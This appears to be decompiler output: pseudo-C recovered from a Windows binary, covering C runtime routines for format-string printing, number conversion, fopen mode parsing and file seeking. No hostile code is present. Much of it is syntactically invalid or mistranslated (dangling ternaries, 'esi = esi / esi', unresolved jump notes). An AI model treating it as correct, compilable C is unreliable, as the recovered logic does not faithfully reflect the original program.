Vfffffff0 = bl + eax * 2 - 48;
goto L00404c87;
if(bl != 73) {
if(bl != 104) {
if(bl != 108) {
if(bl != 119) {
goto L00404c87;
}
Vfffffffd = Vfffffffd | 8;
goto L00404c87;
}
Vfffffffc = Vfffffffc | 16;
goto L00404c87;
}
Vfffffffc = Vfffffffc | 32;
goto L00404c87;
}
if(*edi == 54 && *(edi + 1) == 52) {
Vfffffffd = Vfffffffd | 128;
Ac = edi + 1 + 1;
goto L00404c87;
}
Vffffffd0 = edx;
Vffffffdc = edx;
if(!( *( *L0040C920 + (bl & 255) * 2 + 1) & 128)) {
L00404CC0(bl, A8, & Vffffffec);
bl = *edi;
Ac = edi + 1;
}
L00404CC0(bl, A8, & Vffffffec);
goto L00404c87;
eax = bl;
if(eax <= 103) {
if(eax < 101) {
if(eax > 88) {
goto L0040486b;
}
== ? L004049fe : ;
if(eax = eax - 67) {
goto L0040482e;
}
if(!(eax = eax - 1 - 1) && !(eax = eax - 1 - 1)) {
if(eax = eax - 12) {
goto L00404b89;
}
if(!(Vfffffffc & 2096)) {
Vfffffffd = Vfffffffd | 8;
}
L004047ac:
esi = Vfffffff0;
if(esi == -1) {
esi = 2147483647;
}
ecx = L00404D5E( & A10);
Vfffffff8 = ecx;
if(Vfffffffc & 2064) {
goto L004049d2;
}
if(ecx == 0) {
ecx = *L0040C680;
Vfffffff8 = ecx;
}
Vffffffdc = 1;
eax = ecx;
L004047ea:
edx = esi;
esi = esi - 1;
if(edx == 0 || *eax == 0) {
goto L004049c9;
}
eax = eax + 1 + 1;
goto L004047ea;
}
Vffffffcc = 1;
bl = bl + 32;
}
Vfffffffc = Vfffffffc | 64;
edi = & Vfffffdb8;
Vfffffff8 = edi;
if(ecx < edx) {
Vfffffff0 = 6;
goto L004048ff;
L0040482e:
if(!(Vfffffffc & 2096)) {
Vfffffffd = Vfffffffd | 8;
}
L0040483a:
(save) & A10;
if(!(Vfffffffc & 2064)) {
(save)L00404D7B();
(save) & Vfffffdb8;
eax = L00407CB0();
esp = esp + 12;
Vfffffff4 = eax;
if(Vfffffff4 >= 0) {
goto L00404894;
}
Vffffffd8 = 1;
goto L00404894;
L0040486b:
if(eax = eax - 90) {
goto L004048a2;
}
if(eax = eax - 9) {
goto L0040483a;
}
if(eax = eax - 1) {
goto L00404a64;
}
goto L00404b89;
}
L00404D5E();
(restore)ecx;
Vfffffdb8 = al;
Vfffffff4 = 1;
L00404894:
Vfffffff8 = & Vfffffdb8;
goto L00404b89;
L004048a2:
eax = L00404D5E( & A10);
if(eax != 0) {
ecx = *(eax + 4);
if(ecx == 0) {
goto L004048e3;
}
if(!(Vfffffffd & 8)) {
Vfffffff8 = ecx;
Vfffffff4 = *eax >> 1;
Vffffffdc = 1;
goto L00404b89;
}
Vffffffdc = 0;
Vfffffff8 = ecx;
eax = *eax;
goto L00404b86;
}
L004048e3:
eax = *L0040C67C;
Vfffffff8 = eax;
(save)Vfffffff8;
} else {
!= ? 0x4048ff : ;
if(bl == 103) {
Vfffffff0 = 1;
}
L004048ff:
eax = A10 + 8;
A10 = eax;
Vffffffb8 = *(eax - 8);
Vffffffbc = *(eax - 4);
*L0040c908( & Vffffffb8, & Vfffffdb8, bl, Vfffffff0, Vffffffcc);
if(!(esi = Vfffffffc & 128) && Vfffffff0 == 0) {
*L0040c914( & Vfffffdb8);
}
if(bl == 103 && esi == 0) {
*L0040c90c( & Vfffffdb8);
}
if(Vfffffdb8 == 45) {
Vfffffffd = Vfffffffd | 1;
edi = & Vfffffdb9;
Vfffffff8 = edi;
}
(save)edi;
}
eax = L004035D0();
(restore)ecx;
} else {
if(!(eax = eax - 105)) {
if(!(eax = eax - 5)) {
if(!(eax = eax - 1)) {
if(!(eax = eax - 1)) {
if(eax = eax - 3) {
goto L004047ac;
}
if(eax = eax - 1 - 1) {
goto L00404a68;
}
if(eax = eax - 3) {
goto L00404b89;
}
Vffffffd4 = 39;
goto L00404a05;
L004049c9:
eax = eax - ecx >> 1;
goto L00404b86;
L004049d2:
if(ecx == 0) {
ecx = *L0040C67C;
Vfffffff8 = ecx;
}
eax = ecx;
L004049e1:
edx = esi;
esi = esi - 1;
if(edx != 0 && *eax != 0) {
eax = eax + 1;
goto L004049e1;
}
eax = eax - ecx;
goto L00404b86;
}
Vfffffff0 = 8;
Vffffffd4 = 7;
L00404a05:
Vfffffff4 = 16;
if(Vfffffffc & 128) {
goto L00404a6f;
}
Vffffffea = 48;
Vffffffe4 = 2;
Vffffffeb = Vffffffd4 + 81;
goto L00404a6f;
}
Vfffffff4 = 8;
if(Vfffffffc & 128) {
goto L00404a6f;
}
Vfffffffd = Vfffffffd | 2;
goto L00404a6f;
}
eax = L00404D5E( & A10);
*eax = !(Vfffffffc & 32) ? Vffffffec : Vffffffec;
Vffffffd8 = 1;
goto L00404c87;
}
L00404a64:
Vfffffffc = Vfffffffc | 64;
L00404a68:
Vfffffff4 = 10;
L00404a6f:
if(!(Vfffffffd & 128)) {
eax = L00404D6B( & A10);
} else {
if(!(Vfffffffc & 32)) {
(save) & A10;
if(!(Vfffffffc & 64)) {
L00404D5E();
(restore)ecx;
eax = ax;
L00404a9a:
asm("cdq");
goto L00404ac2;
}
L00404D5E();
(restore)ecx;
eax = ax & 65535;
goto L00404a9a;
}
(save) & A10;
if(!(Vfffffffc & 64)) {
eax = L00404D5E();
(restore)ecx;
goto L00404a9a;
}
eax = L00404D5E();
(restore)ecx;
edx = 0;
}
L00404ac2:
if(!(Vfffffffc & 64)) {
if(edx > 0) {
goto L00404ae3;
}
< ? L00404ad2 : ;
if(eax >= 0) {
goto L00404ae3;
}
eax = ~eax;
asm("adc edx,+0x0");
esi = eax;
edx = ~edx;
Vfffffffd = Vfffffffd | 1;
edi = edx;
} else {
L00404ae3:
esi = eax;
edi = edx;
}
if(!(Vfffffffd & 128)) {
edi = 0;
}
if(Vfffffff0 < 0) {
Vfffffff0 = 1;
} else {
Vfffffffc = Vfffffffc & -9;
}
if(!(eax = esi | edi)) {
Vffffffe4 = 0;
}
Vfffffff8 = & Vffffffb7;
L00404b13:
eax = Vfffffff0;
Vfffffff0 = Vfffffff0 - 1;
if(eax > 0 || !(eax = esi | edi)) {
eax = Vfffffff4;
asm("cdq");
Vffffffc0 = eax;
Vffffffc4 = edx;
ebx = L00407D90(esi, edi, eax, edx) + 48;
esi = L00407D20(esi, edi, Vffffffc0, Vffffffc4);
edi = edx;
if(ebx > 57) {
ebx = ebx + Vffffffd4;
}
eax = Vfffffff8;
Vfffffff8 = Vfffffff8 - 1;
*eax = bl;
goto L00404b13;
}
eax = & Vffffffb7 - Vfffffff8;
Vfffffff8 = Vfffffff8 + 1;
Vfffffff4 = eax;
if(Vfffffffd & 2 || *Vfffffff8 == 48 && eax != 0) {
goto L00404b89;
}
Vfffffff8 = Vfffffff8 - 1;
eax = eax + 1;
*Vfffffff8 = 48;
}
L00404b86:
Vfffffff4 = eax;
L00404b89:
if(Vffffffd8 != 0) {
goto L00404c87;
}
ebx = Vfffffffc;
if(!(bl & 64)) {
if(!(bh & 1)) {
Vffffffea = 45;
goto L00404bba;
}
if(!(bl & 1)) {
Vffffffea = 43;
goto L00404bba;
}
if(!(bl & 2)) {
Vffffffea = 32;
L00404bba:
Vffffffe4 = 1;
}
}
esi = Vffffffe0 - Vffffffe4 - Vfffffff4;
if(!(bl & 12)) {
L00404CF5(32, esi, A8, & Vffffffec);
}
L00404D26( & Vffffffea, Vffffffe4, A8, & Vffffffec);
if(!(bl & 8) && !(bl & 4)) {
L00404CF5(48, esi, A8, & Vffffffec);
}
if(Vffffffdc != 0) {
if(Vfffffff4 <= 0) {
goto L00404c5a;
}
eax = Vfffffff4;
ebx = Vfffffff8;
edi = eax - 1;
L00404c28:
ax = *ebx;
ebx = ebx + 1;
(save)eax;
ebx = ebx + 1;
eax = L00407CB0( & Vffffffc8);
(restore)ecx;
if(eax > 0) {
L00404D26( & Vffffffc8, eax, A8, & Vffffffec);
eax = edi;
edi = edi - 1;
if(eax != 0) {
goto L00404c28;
}
}
} else {
L00404c5a:
L00404D26(Vfffffff8, Vfffffff4, A8, & Vffffffec);
}
if(Vfffffffc & 4) {
goto L00404c87;
}
L00404CF5(32, esi, A8, & Vffffffec);
goto L00404c87;
}
L00404c98:
return(Vffffffec);
}

/* Procedure: 0x00404CA0 - 0x00404CBF
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00404CA0()
{

}

/* Procedure: 0x00404CC0 - 0x00404CF4
* Argument size: 12
* Local size: 0
* Save regs size: 0
*/

L00404CC0(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{

if(!( *(Ac + 4) = *(Ac + 4) - 1)) {
edx = *Ac;
al = A8;
*edx = al;
*Ac = *Ac + 1;
A10 = *edx & 255;
} else {
A10 = L0040446A(A8, Ac);
}
if(A10 == -1) {
*A10 = *A10 | -1;
return;
}
*A10 = *A10 + 1;
}

/* Procedure: 0x00404CF5 - 0x00404D25
* Argument size: 16
* Local size: 0
* Save regs size: 8
*/

L00404CF5(Ac, A10, A14, A18)
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
/* unknown */ void A18;
{
/* unknown */ void edi;

edi = A10;
eax = edi;
edi = edi - 1;
do {
eax = L00404CC0(Ac, A14, A18);
if(*A18 == -1) {
break;
}
eax = edi;
edi = edi - 1;
} while(eax > 0);
}

/* Procedure: 0x00404D26 - 0x00404D5D
* Argument size: 16
* Local size: 0
* Save regs size: 4
*/

L00404D26(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{
/* unknown */ void ebx;

ebx = Ac;
eax = ebx;
ebx = ebx - 1;
(save)esi;
(save)A14;
if(eax > 0) {
esi = A8;
do {
eax = *esi;
esi = esi + 1;
eax = L00404CC0(eax, A10, A14);
if(*A14 == -1) {
break;
}
eax = ebx;
ebx = ebx - 1;
} while(eax > 0);
}
(restore)A14;
(restore)esi;
}

/* Procedure: 0x00404D5E - 0x00404D6A
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00404D5E(A4)
/* unknown */ void A4;
{

*A4 = *A4 + 4;
return(*( *A4 - 4));
}

/* Procedure: 0x00404D6B - 0x00404D7A
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00404D6B(A4)
/* unknown */ void A4;
{

eax = A4;
*eax = *eax + 8;
ecx = *eax;
eax = *(ecx - 8);
edx = *(ecx - 4);
}

/* Procedure: 0x00404D7B - 0x00404D88
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00404D7B(A4)
/* unknown */ void A4;
{

eax = A4;
*eax = *eax + 4;
eax = *eax;
return(*(eax - 4));
}

/* Procedure: 0x00404D89 - 0x00404E61
* Argument size: 4
* Local size: 0
* Save regs size: 4
*/

L00404D89(A8)
/* unknown */ void A8;
{

eax = *(A8 + 12);
if(!(al & 131) && !(al & 64)) {
if(!(al & 2)) {
al = al | 32;
*(A8 + 12) = eax;
} else {
(al | 1) & 268;
if(!( *(A8 + 12) = al | 1)) {
L00407C6C(A8);
} else {
*A8 = *(A8 + 8);
}
eax = L00407E05( *(A8 + 16), *(A8 + 8), *(A8 + 24));
*(A8 + 4) = eax;
if(eax != 0 && eax != -1) {
if(!( *(A8 + 12) & 130)) {
ecx = *(A8 + 16);
(save)edi;
if(ecx != -1) {
edi = ecx >> 5;
ecx = ecx & 31;
edi = *(edi * 4 + 6597728) + ecx * 8;
} else {
edi = 0x40cbc8;
}
cl = *(edi + 4);
(restore)edi;
cl = cl & 130;
if(cl == 130) {
*(A8 + 12) = dh | 32;
}
}
if(*(A8 + 24) == 512 && !( *(A8 + 12) & 8) && !(ch & 4)) {
*(A8 + 24) = 4096;
}
ecx = *A8;
*(A8 + 4) = eax - 1;
eax = *ecx & 255;
*A8 = ecx + 1;
return;
}
eax = ~eax;
asm("sbb eax,eax");
eax = (eax & 16) + 16;
*(A8 + 12) = *(A8 + 12) | eax;
*(A8 + 4) = 0;
}
}
return(eax | -1);
}

stack space not deallocated on return
/* Procedure: 0x00404E62 - 0x00404EFB
* Argument size: 28
* Local size: 0
* Save regs size: 0
*/

L00404E62(A4, A18, A1c)
/* unknown */ void A4;
/* unknown */ void A18;
/* unknown */ void A1c;
{

eax = A4;
(save)ebx;
(save)esi;
(save)edi;
if(eax < *L0064AD60) {
ecx = eax;
esi = eax;
ecx = ecx >> 5;
esi = esi & 31;
edi = ecx * 4 + 6597728;
esi = esi << 3;
if(*( *edi + esi + 4) & 1) {
goto L00404ee4;
}
eax = L00407080(eax);
if(eax == -1) {
*L0064A7F4 = 9;
goto L00404ef5;
}
(save)A18;
(save)0;
(save)A1c;
(save)eax;
ebx = *__imp__SetFilePointer();
eax = ebx == -1 ? *__imp__GetLastError() : 0;
if(eax != 0) {
eax = L00406E93(eax);
goto L00404ef5;
}
eax = *edi;
*(eax + esi + 4) = *(eax + esi + 4) & 253;
eax = eax + esi + 4;
eax = ebx;
} else {
L00404ee4:
*L0064A7F8 = 0;
*L0064A7F4 = 9;
L00404ef5:
eax = eax | -1;
}
(restore)edi;
(restore)esi;
(restore)ebx;
}

/* Procedure: 0x00404EFC - 0x00405053
* Argument size: 4
* Local size: 12
* Save regs size: 12
*/

L00404EFC(A8)
/* unknown */ void A8;
{
/* unknown */ void ebx;
/* unknown */ void esi;
/* unknown */ void edi;
/* unknown */ void Vfffffff4;
/* unknown */ void Vfffffff8;
/* unknown */ void Vfffffffc;

edi = A8;
ebx = 0;
esi = *(edi + 16);
Vfffffff4 = esi;
if(*(edi + 4) < 0) {
*(edi + 4) = 0;
}
eax = L00404E62(esi, ebx, 1);
Vfffffffc = eax;
if(eax >= ebx) {
if(!( *(edi + 12) & 264)) {
eax = eax - *(edi + 4);
goto L0040504f;
}
eax = *edi;
ecx = *(edi + 8);
dl & 3;
if(!(Vfffffff8 = eax - ecx)) {
edx = esi;
ebx = esi;
edx = edx >> 5;
ebx = ebx & 31;
if(*( *(edx * 4 + 6597728) + ebx * 8 + 4) & 128) {
goto L00404f8e;
}
for(edx = ecx; 1; edx = edx + 1) {
if(edx >= eax) {
goto L00404f8e;
}
if(*edx == 10) {
Vfffffff8 = Vfffffff8 + 1;
}
}
}
if(dl & 128) {
goto L00404f8e;
}
*L0064A7F4 = 22;
}
eax = eax | -1;
goto L0040504f;
L00404f8e:
if(Vfffffffc == 0) {
eax = Vfffffff8;
} else {
if(!( *(edi + 12) & 1)) {
edx = *(edi + 4);
if(edx == 0) {
Vfffffff8 = Vfffffff8 & edx;
} else {
A8 = eax - ecx + edx;
eax = esi >> 5;
esi = esi & 31;
ebx = eax * 4 + 6597728;
esi = esi << 3;
if(!( *(esi + *ebx + 4) & 128)) {
if(L00404E62(Vfffffff4, 0, 2) == Vfffffffc) {
eax = *(edi + 8);
for(ecx = A8 + eax; eax < ecx; eax = eax + 1) {
if(*eax == 10) {
A8 = A8 + 1;
}
}
*(edi + 13) & 32;
} else {
L00404E62(Vfffffff4, Vfffffffc, 0);
eax = 512;
if(A8 > 512 || *(edi + 12) & 8 || !(ch & 4)) {
eax = *(edi + 24);
}
A8 = eax;
}
if(!( *(esi + *ebx + 4) & 4)) {
A8 = A8 + 1;
}
}
Vfffffffc = Vfffffffc - A8;
}
}
eax = Vfffffff8 + Vfffffffc;
}
L0040504f:
}

/* Procedure: 0x00405054 - 0x004050F8
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L00405054()
{

eax = *L0064BD80;
(save)esi;
(save)20;
(restore)esi;
if(eax == 0) {
eax = 512;
} else {
if(eax >= esi) {
goto L00405073;
}
eax = esi;
}
*L0064BD80 = eax;
L00405073:
(save)4;
eax = L00407FFB(eax);
*L0064AD64 = eax;
(restore)ecx;
if(*L0064AD64 == 0) {
(save)4;
*L0064BD80 = esi;
eax = L00407FFB(esi);
*L0064AD64 = eax;
(restore)ecx;
if(*L0064AD64 == 0) {
L00403C75(26);
}
}
ecx = 0;
eax = 0x40c688;
do {
*(ecx + *L0064AD64) = eax;
eax = eax + 32;
ecx = ecx + 4;
} while(eax < 0x40c908);
edx = 0;
ecx = 0x40c698;
do {
eax = edx;
esi = edx;
eax = eax >> 5;
esi = esi & 31;
eax = *( *(eax * 4 + 6597728) + esi * 8);
if(eax == -1 || eax == 0) {
*ecx = *ecx | -1;
}
ecx = ecx + 32;
edx = edx + 1;
} while(ecx < 0x40c6f8);
(restore)esi;
}

/* DEST BLOCK NOT FOUND: 00405107 -> 00408078 */
/* Procedure: 0x004050F9 - 0x0040510C
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L004050F9()
{

eax = L00403E62();
if(*L0064A834 != 0) {
goto L00408078;
}
}

/* Procedure: 0x0040510D - 0x0040527C
* Argument size: 16
* Local size: 0
* Save regs size: 0
*/

L0040510D(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{

(save)ecx;
(save)ecx;
(save)ebx;
(save)esi;
esi = *L0064A980;
(save)edi;
edi = Ac;
ebx = 0;
*(ebp - 8) = 0;
*(ebp - 4) = 0;
al = *edi;
if(al != 97) {
if(al != 114) {
if(al != 119) {
goto L0040525a;
}
ecx = 769;
goto L0040514b;
}
ecx = 0;
esi = esi | 1;
} else {
ecx = 265;
L0040514b:
esi = esi | 2;
}
edx = 1;
L00405151:
while(1) {
al = *(edi + 1);
edi = edi + 1;
if(al == bl || edx == ebx) {
goto L00405240;
}
A14 = al;
if(A14 > 84) {
if(A14 = A14 - 98) {
if(!(ch & 192)) {
goto L00405231;
}
ch = ch | 128;
continue;
}
if(A14 = A14 - 1) {
if(*(ebp - 8) != ebx) {
goto L00405231;
}
*(ebp - 8) = 1;
esi = esi | 16384;
continue;
}
if(A14 = A14 - 11) {
if(*(ebp - 8) != ebx) {
goto L00405231;
}
*(ebp - 8) = 1;
esi = esi & -16385;
continue;
}
if((A14 = A14 - 6) || ch & 192) {
goto L00405231;
}
ch = ch | 64;
continue;
}
== ? L004051cf : ;
if(A14 = A14 - 43) {
if(cl & 2) {
goto L00405231;
}
ecx = ecx & -2;
esi = esi & -4;
ecx = ecx | 2;
esi = esi | 128;
continue;
}
if(A14 = A14 - 25) {
if(cl & 64) {
goto L00405231;
}
ecx = ecx | 64;
continue;
}
if(A14 = A14 - 14) {
if(*(ebp - 4) != ebx) {
goto L00405231;
}
*(ebp - 4) = 1;
ecx = ecx | 16;
continue;
}
if((A14 = A14 - 1) || *(ebp - 4) != ebx) {
L00405231:
edx = 0;
continue;
}
*(ebp - 4) = 1;
ecx = ecx | 32;
}
A14 = 4096;
if(4096 & ecx) {
goto L00405231;
}
ecx = ecx | 4096;
goto L00405151;
L00405240:
ecx = L004080D0(A8, ecx, A10, 420);
if(ecx < ebx) {
L0040525a:
A14 = 0;
} else {
*L0064A85C = *L0064A85C + 1;
*(A14 + 12) = esi;
*(A14 + 4) = ebx;
*A14 = ebx;
*(A14 + 8) = ebx;
*(A14 + 28) = ebx;
*(A14 + 16) = ecx;
}
(restore)edi;
(restore)esi;
(restore)ebx;
}

/* Procedure: 0x0040527D - 0x004052F4
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L0040527D()
{

edx = *L0064BD80;
(save)ebx;
(save)ebp;
(save)esi;
ebp = 0;
esi = 0;
eax = 0;
(save)edi;
if(edx > 0) {
ebx = *L0064AD64;
edi = ebx;
do {
ecx = *edi;
if(ecx == ebp) {
goto L004052b4;
}
if(*(ecx + 12) & 131) {
goto L004052af;
}
eax = eax + 1;
edi = edi + 4;
} while(eax < edx);
goto L004052ee;
L004052af:
esi = *(ebx + eax * 4);
goto L004052d8;
L004052b4:
edi = eax << 2;
*(edi + *L0064AD64) = L004072C1(32);
edi = *(edi + *L0064AD64);
if(edi != ebp) {
esi = edi;
L004052d8:
if(esi != ebp) {
*(esi + 16) = *(esi + 16) | -1;
*(esi + 4) = ebp;
*(esi + 12) = ebp;
*(esi + 8) = ebp;
*esi = ebp;
*(esi + 28) = ebp;
}
}
}
L004052ee:
eax = esi;
(restore)edi;
(restore)esi;
(restore)ebp;
(restore)ebx;
}

stack space not deallocated on return
/* Procedure: 0x004052F5 - 0x00405344
* Argument size: 0
* Local size: 0
* Save regs size: 0
*/

L004052F5()
{

return(L004083BE(65536, 196608));
(save)ebp;
ebp = esp;
esp = esp - 24;
*(ebp - 8) = *L0040B1C0;
*(ebp - 16) = *L0040B1B8;
asm("fsubr qword [ebp-0x10]");
(fsave) *(ebp - 24);
asm("fcomp qword [0x40b1b0]");
asm("fnstsw ax");
asm("sahf");
if(!( *(ebp - 24) = *(ebp - 16) / *(ebp - 8) * *(ebp - 8))) {
esp = ebp;
(restore)ebp;
return(1);
}
esp = ebp;
(restore)ebp;
return(0);
}

/* DEST BLOCK NOT FOUND: 00405369 -> 00405307 */
stack space not deallocated on return
/* Procedure: 0x00405345 - 0x0040546B
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L00405345(A4, A8)
/* unknown */ void A4;
/* unknown */ void A8;
{

(save)4239844;
eax = *__imp__GetModuleHandleA();
if(eax != 0) {
(save)4239816;
(save)eax;
eax = *__imp__GetProcAddress();
if(eax != 0) {
return(*eax(0));
}
}
goto L00405307;
(save)esi;
esi = A8;
eax = L004084EF( *esi);
if(eax != 101) {
L00405382:
esi = esi + 1;
if(*L0040CB2C > 1) {
(save)4;
(save) *esi;
eax = L004057A9();
(restore)ecx;
(restore)ecx;
} else {
eax = *esi;
ecx = *L0040C920;
eax = *(ecx + eax * 2) & 4;
}
if(eax != 0) {
goto L00405382;
}
}
al = *esi;
*esi = *L0040CB30;
esi = esi + 1;
L004053b9:
cl = *esi;
*esi = al;
al = cl;
cl = *esi;
esi = esi + 1;
if(cl != 0) {
goto L004053b9;
}
(restore)esi;
return;
eax = A4;
dl = *L0040CB30;
cl = *eax;
if(cl != 0) {
L004053d8:
if(cl != dl) {
cl = *(eax + 1);
eax = eax + 1;
if(cl != 0) {
goto L004053d8;
}
}
}
cl = *eax;
eax = eax + 1;
if(cl != 0) {
L004053eb:
cl = *eax;
if(cl != 0 && cl != 101 && cl != 69) {
eax = eax + 1;
goto L004053eb;
}
ecx = eax;
L00405400:
eax = eax - 1;
if(*eax == 48) {
goto L00405400;
}
if(*eax == dl) {
eax = eax - 1;
}
L0040540b:
dl = *ecx;
eax = eax + 1;
ecx = ecx + 1;
*eax = dl;
if(dl != 0) {
goto L0040540b;
}
}
return;
(fsave) *A4;
asm("fcomp qword [0x40b1f0]");
asm("fnstsw ax");
asm("sahf");
< ? L0040542b : ;
return(1);
return(0);
(save)ebp;
ebp = esp;
(save)ecx;
(save)ecx;
(save) *(ebp + 16);
if(*(ebp + 8) != 0) {
(save)ebp - 8;
L0040894C();
eax = *(ebp + 12);
(restore)ecx;
*eax = *(ebp - 8);
*(eax + 4) = *(ebp - 4);
esp = ebp;
(restore)ebp;
return;
}
(save)ebp + 16;
L00408979();
eax = *(ebp + 12);
(restore)ecx;
*eax = *(ebp + 16);
esp = ebp;
(restore)ebp;
}

/* Procedure: 0x0040546C - 0x0040556F
* Argument size: 16
* Local size: 0
* Save regs size: 0
*/

L0040546C(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{

(save)ebx;
(save)esi;
if(*L0064A864 != 0) {
ebx = A10;
eax = *L0064A860;
esi = eax;
L00405784(Ac, ebx :: 0 > 0 & 255);
} else {
(save)ecx;
(save)ecx;
*esp = *A8;
ebx = A10;
esi = L00408A1D();
(save)esi;
(save)ebx + 1;
eax = 0 & 255;
ecx = ebx :: 0 > 0 & 255;
(save)ecx + Ac + eax;
L004089A6();
esp = esp + 20;
}
eax = Ac;
if(*esi == 45) {
*eax = 45;
eax = eax + 1;
}
if(ebx > 0) {
cl = *(eax + 1);
(save)edi;
edi = eax + 1;
*eax = cl;
cl = *L0040CB30;
eax = edi;
(restore)edi;
*eax = cl;
}
(save)4239864;
ecx = L00403240(eax + ebx);
if(A14 != 0) {
*ecx = 69;
}
eax = *(esi + 12);
ecx = ecx + 1;
if(*eax != 48) {
if(!(ebx = *(esi + 4) - 1)) {
ebx = ~ebx;
*ecx = 45;
}
ecx = ecx + 1;
if(ebx >= 100) {
eax = ebx;
(save)100;
asm("cdq");
(restore)esi;
esi = esi / esi;
edx = esi % esi;
*ecx = *ecx + al;
eax = ebx;
asm("cdq");
ebx = esi / esi % esi / esi;
}
ecx = ecx + 1;
if(ebx >= 10) {
eax = ebx;
(save)10;
asm("cdq");
(restore)esi;
esi = esi / esi;
edx = esi % esi;
*ecx = *ecx + al;
eax = ebx;
asm("cdq");
ebx = esi / esi % esi / esi;
}
*(ecx + 1) = *(ecx + 1) + bl;
}
(restore)esi;
(restore)ebx;
return(Ac);
}

/* Procedure: 0x00405570 - 0x0040564D
* Argument size: 12
* Local size: 0
* Save regs size: 0
*/

L00405570(A4, A8, Ac)
/* unknown */ void A4;
/* unknown */ void A8;
/* unknown */ void Ac;
{

(save)ebx;
(save)A8;
(save)esi;
(save)edi;
if(*L0064A864 != 0) {
eax = *L0064A868;
ebx = Ac;
esi = *L0064A860;
if(eax == ebx) {
eax = eax + A8;
*eax = 48;
*(eax + 1) = 0;
}
} else {
(save)ecx;
(save)ecx;
*esp = *A4;
ebx = Ac;
esi = L00408A1D();
(save)esi;
(save) *(esi + 4) + ebx;
(save)A8;
L004089A6();
esp = esp + 20;
}
edi = A8;
if(*esi == 45) {
*A8 = 45;
edi = A8 + 1;
}
eax = *(esi + 4);
if(eax <= 0) {
(save)1;
L00405784(edi);
*edi = 48;
(restore)ecx;
edi = edi + 1;
} else {
edi = edi + eax;
}
if(ebx > 0) {
(save)1;
L00405784(edi);
*edi = *L0040CB30;
esi = *(esi + 4);
edi = edi + 1;
(restore)ecx;
if(esi < 0) {
if(*L0064A864 != 0) {
esi = ~esi;
} else {
esi = ~esi;
if(ebx < esi) {
goto L00405634;
}
}
ebx = esi;
L00405634:
L00405784();
L00408B40(edi, 48, ebx, edi, ebx);
}
}
(restore)edi;
eax = A8;
(restore)esi;
(restore)A8;
(restore)ebx;
}

/* Procedure: 0x0040564E - 0x004056E8
* Argument size: 16
* Local size: 0
* Save regs size: 12
*/

L0040564E(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{
/* unknown */ void esi;

(save)ecx;
(save)ecx;
*esp = *A8;
eax = L00408A1D();
*L0064A860 = eax;
ecx = *(eax + 4) - 1;
*L0064A868 = ecx;
(save)eax;
(save)A10;
0 = 0;
esi = Ac;
(save)esi;
L004089A6();
eax = *L0064A860;
esp = esp + 20;
cl = *L0064A868 :: *(eax + 4) - 1 < 0;
*L0064A86C = cl;
eax = *(eax + 4) - 1;
*L0064A868 = eax;
if(eax >= -4) {
if(eax >= A10) {
goto L004056d4;
}
if(cl != 0) {
do {
al = *esi;
esi = esi + 1;
} while(al != 0);
*(esi - 2) = *(esi - 2) & al;
}
eax = L00405710(A8, Ac, A10);
} else {
L004056d4:
eax = L004056E9(A8, Ac, A10, A14);
}
}

/* Procedure: 0x004056E9 - 0x0040570F
* Argument size: 16
* Local size: 0
* Save regs size: 0
*/

L004056E9(A4, A8, Ac, A10)
/* unknown */ void A4;
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{

*L0064A864 = 1;
*L0064A864 = 0;
return(L0040546C(A4, A8, Ac, A10));
}

/* Procedure: 0x00405710 - 0x00405783
* Argument size: 12
* Local size: 0
* Save regs size: 0
*/

L00405710(A4, A8, Ac)
/* unknown */ void A4;
/* unknown */ void A8;
/* unknown */ void Ac;
{

*L0064A864 = 1;
*L0064A864 = 0;
return(L00405570(A4, A8, Ac));
(save)ebp;
ebp = esp;
if(*(ebp + 16) != 101) {
if(*(ebp + 16) == 69) {
goto L0040576e;
}
if(*(ebp + 16) == 102) {
eax = L00405570( *(ebp + 8), *(ebp + 12), *(ebp + 20));
(restore)ebp;
return;
}
eax = L0040564E( *(ebp + 8), *(ebp + 12), *(ebp + 20), *(ebp + 24));
} else {
L0040576e:
eax = L0040546C( *(ebp + 8), *(ebp + 12), *(ebp + 20), *(ebp + 24));
}
(restore)ebp;
}

/* Procedure: 0x00405784 - 0x004057A8
* Argument size: 8
* Local size: 0
* Save regs size: 4
*/

L00405784(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{

if(Ac != 0) {
(save)A8;
eax = L00403730(A8 + Ac, A8, L004035D0(A8) + 1);
(restore)A8;
}
}

stack space not deallocated on return
/* Procedure: 0x004057A9 - 0x00405853
* Argument size: 16
* Local size: 0
* Save regs size: 0
*/

L004057A9(A4, A8, Ac, A10)
/* unknown */ void A4;
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{

(save)ebp;
ebp = esp;
(save)Ac;
eax = *(ebp + 8);
if(eax + 1 <= 256) {
eax = *( *L0040C920 + eax * 2) & 65535;
} else {
Ac = eax;
(save)esi;
Ac = Ac >> 8;
(restore)esi;
if(!( *( *L0040C920 + (cl & 255) * 2 + 1) & 128)) {
*(ebp - 2) = 0;
*(ebp - 4) = cl;
*(ebp - 3) = al;
(save)2;
} else {
*(ebp - 3) = 0;
*(ebp - 4) = al;
(save)1;
}
(restore)eax;
eax = L00408BA1(1, ebp - 4, eax, ebp + 10, 0, 0, 1);
if(eax == 0) {
esp = ebp;
(restore)ebp;
return;
}
eax = *(ebp + 10) & 65535;
}
eax = eax & *(ebp + 12);
esp = ebp;
(restore)ebp;
return;
asm("int3");
asm("int3");
eax = A8;
if(!(Ac = A10 | eax)) {
eax = A4;
